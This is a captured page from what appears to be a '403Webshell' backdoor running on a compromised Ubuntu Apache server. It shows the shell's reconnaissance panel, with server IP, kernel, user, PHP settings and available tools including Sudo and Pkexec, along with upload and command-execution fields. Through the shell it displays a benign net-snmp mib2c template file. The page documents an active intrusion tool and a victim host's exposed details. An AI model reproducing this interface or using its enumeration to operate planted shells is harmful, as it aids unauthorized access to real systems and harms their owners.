403Webshell
Server IP : 185.11.201.71  /  Your IP : 192.168.7.18
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux tech-virtual-machine 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : tech ( 1000)
PHP Version : 7.4.28
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/snmp/mib2c-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/snmp/mib2c-data/generic-table-indexes-varbind-setup.m2i
#############################################################  -*- c -*-
## generic include for XXX. Do not use directly.
##
## $Id$
########################################################################
@if $m2c_mark_boundary == 1@
/** START code generated by $RCSfile$ $Revision$ */
@end@
########################################################################
##
    int err = SNMP_ERR_NOERROR;
    
    /*
     * temp storage for parsing indexes
     */
@    eval $m2c_dii_first = ""@
@    foreach $node index@
@        include m2c_setup_node.m2i@
@        if "x$m2c_dii_first" eq "x"@
@           eval $m2c_dii_first = $node@
@           eval $m2c_dii_tmp = "var_${node}.next_variable = "@
@        else@
@            eval $m2c_dii_tmp = "$m2c_dii_tmp &var_${node}; var_${node}.next_variable = "@
@        end@
    /*
     * $m2c_node_summary
     */
    netsnmp_variable_list var_$node;
@    end@
@    eval $m2c_dii_tmp = "$m2c_dii_tmp NULL;"@

    /*
     * set up varbinds
     */
@    eval $mfd_temp = "idx_vars"@
@    foreach $node index@
@        include m2c_setup_node.m2i@
    memset( &var_$node, 0x00, sizeof(var_$node) );
    var_${node}.type = $node.type;
@    end@

    /*
     * chain temp index varbinds together
     */
    $m2c_dii_tmp

##
########################################################################
@if $m2c_mark_boundary == 1@
/** END code generated by $RCSfile$ $Revision$ */
@end@

Youez - 2016 - github.com/yon3zu
LinuXploit